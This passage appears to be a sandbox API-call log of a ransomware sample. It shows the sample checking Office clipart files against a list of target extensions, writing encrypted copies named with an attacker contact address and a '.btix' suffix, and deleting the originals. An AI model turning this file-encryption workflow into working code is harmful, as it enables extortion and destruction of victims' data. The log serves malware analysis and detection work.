5 [0142.164] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.164] lstrlenW (lpString=".pdf") returned 4 [0142.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.164] lstrlenW (lpString=".xls") returned 4 [0142.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.164] lstrlenW (lpString=".xlsx") returned 5 [0142.164] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.165] lstrlenW (lpString=".ppt") returned 4 [0142.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString=".zip") returned 4 [0142.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.165] lstrlenW (lpString=".rar") returned 4 [0142.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString=".bz2") returned 4 [0142.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString=".7z") returned 3 [0142.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString=".dbf") returned 4 [0142.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString=".1cd") returned 4 [0142.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString=".jpg") returned 4 [0142.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.165] lstrlenW (lpString=".doc") returned 4 [0142.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.165] lstrlenW (lpString=".docx") returned 5 [0142.165] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.165] lstrlenW (lpString=".pdf") returned 4 [0142.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".xls") returned 4 [0142.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.166] lstrlenW (lpString=".xlsx") returned 5 [0142.166] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.166] lstrlenW (lpString=".ppt") returned 4 [0142.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.166] lstrlenW (lpString=".zip") returned 4 [0142.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.166] lstrlenW (lpString=".rar") returned 4 [0142.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".bz2") returned 4 [0142.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString=".7z") returned 3 [0142.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.167] lstrlenW (lpString=".dbf") returned 4 [0142.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.167] lstrlenW (lpString=".1cd") returned 4 [0142.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.167] lstrlenW (lpString=".jpg") returned 4 [0142.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.167] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.167] lstrlenW (lpString="J0105276.WMF") returned 12 [0142.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.168] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=19240) returned 1 [0142.168] CloseHandle (hObject=0x3b0) returned 1 [0142.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0142.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.168] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.168] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.169] GetLastError () returned 0x0 [0142.169] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x4b28, lpOverlapped=0x0) returned 1 [0142.193] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4b30, lpOverlapped=0x0) returned 1 [0142.194] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.194] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0142.194] SetEndOfFile (hFile=0x38c) returned 1 [0142.206] CloseHandle (hObject=0x38c) returned 1 [0142.207] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.208] SetEndOfFile (hFile=0x3b0) returned 1 [0142.210] CloseHandle (hObject=0x3b0) returned 1 [0142.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0142.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.211] lstrlenW (lpString=".doc") returned 4 [0142.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.211] lstrlenW (lpString=".docx") returned 5 [0142.211] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.211] lstrlenW (lpString=".pdf") returned 4 [0142.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.211] lstrlenW (lpString=".xls") returned 4 [0142.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.212] lstrlenW (lpString=".xlsx") returned 5 [0142.212] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.212] lstrlenW (lpString=".ppt") returned 4 [0142.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString=".zip") returned 4 [0142.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.212] lstrlenW (lpString=".rar") returned 4 [0142.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString=".bz2") returned 4 [0142.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString=".7z") returned 3 [0142.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString=".dbf") returned 4 [0142.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString=".1cd") returned 4 [0142.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString=".jpg") returned 4 [0142.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.212] lstrlenW (lpString=".doc") returned 4 [0142.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString=".docx") returned 5 [0142.212] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.212] lstrlenW (lpString=".pdf") returned 4 [0142.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.212] lstrlenW (lpString=".xls") returned 4 [0142.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.213] lstrlenW (lpString=".xlsx") returned 5 [0142.213] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.213] lstrlenW (lpString=".ppt") returned 4 [0142.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.213] lstrlenW (lpString=".zip") returned 4 [0142.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.213] lstrlenW (lpString=".rar") returned 4 [0142.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.213] lstrlenW (lpString=".bz2") returned 4 [0142.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.213] lstrlenW (lpString=".7z") returned 3 [0142.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.213] lstrlenW (lpString=".dbf") returned 4 [0142.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.213] lstrlenW (lpString=".1cd") returned 4 [0142.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0142.213] lstrlenW (lpString=".jpg") returned 4 [0142.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.213] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.213] lstrlenW (lpString="J0105282.WMF") returned 12 [0142.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.214] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4796) returned 1 [0142.214] CloseHandle (hObject=0x3b0) returned 1 [0142.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0142.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.214] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.214] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.215] GetLastError () returned 0x0 [0142.215] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0142.225] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0142.227] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.227] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0142.227] SetEndOfFile (hFile=0x54c) returned 1 [0142.227] CloseHandle (hObject=0x54c) returned 1 [0142.227] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.227] SetEndOfFile (hFile=0x3b0) returned 1 [0142.229] CloseHandle (hObject=0x3b0) returned 1 [0142.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0142.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.230] lstrlenW (lpString=".doc") returned 4 [0142.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.230] lstrlenW (lpString=".docx") returned 5 [0142.230] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0142.230] lstrlenW (lpString=".pdf") returned 4 [0142.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.230] lstrlenW (lpString=".xls") returned 4 [0142.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.230] lstrlenW (lpString=".xlsx") returned 5 [0142.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0142.231] lstrlenW (lpString=".ppt") returned 4 [0142.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString=".zip") returned 4 [0142.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.231] lstrlenW (lpString=".rar") returned 4 [0142.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString=".bz2") returned 4 [0142.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString=".7z") returned 3 [0142.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString=".dbf") returned 4 [0142.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString=".1cd") returned 4 [0142.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString=".jpg") returned 4 [0142.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.231] lstrlenW (lpString=".doc") returned 4 [0142.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString=".docx") returned 5 [0142.231] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0142.231] lstrlenW (lpString=".pdf") returned 4 [0142.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.231] lstrlenW (lpString=".xls") returned 4 [0142.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.231] lstrlenW (lpString=".xlsx") returned 5 [0142.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0142.232] lstrlenW (lpString=".ppt") returned 4 [0142.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.232] lstrlenW (lpString=".zip") returned 4 [0142.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.232] lstrlenW (lpString=".rar") returned 4 [0142.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.232] lstrlenW (lpString=".bz2") returned 4 [0142.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.232] lstrlenW (lpString=".7z") returned 3 [0142.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.232] lstrlenW (lpString=".dbf") returned 4 [0142.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.232] lstrlenW (lpString=".1cd") returned 4 [0142.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0142.232] lstrlenW (lpString=".jpg") returned 4 [0142.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.232] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.232] lstrlenW (lpString="J0105286.WMF") returned 12 [0142.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.233] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=6568) returned 1 [0142.233] CloseHandle (hObject=0x3b0) returned 1 [0142.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0142.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0142.233] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.233] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.234] GetLastError () returned 0x0 [0142.234] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x19a8, lpOverlapped=0x0) returned 1 [0142.263] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0142.264] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.264] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0142.264] SetEndOfFile (hFile=0x54c) returned 1 [0142.264] CloseHandle (hObject=0x54c) returned 1 [0142.264] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.264] SetEndOfFile (hFile=0x3b0) returned 1 [0142.936] CloseHandle (hObject=0x3b0) returned 1 [0142.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0142.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.937] lstrlenW (lpString=".doc") returned 4 [0142.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.937] lstrlenW (lpString=".docx") returned 5 [0142.937] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.937] lstrlenW (lpString=".pdf") returned 4 [0142.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.938] lstrlenW (lpString=".xls") returned 4 [0142.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.938] lstrlenW (lpString=".xlsx") returned 5 [0142.938] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 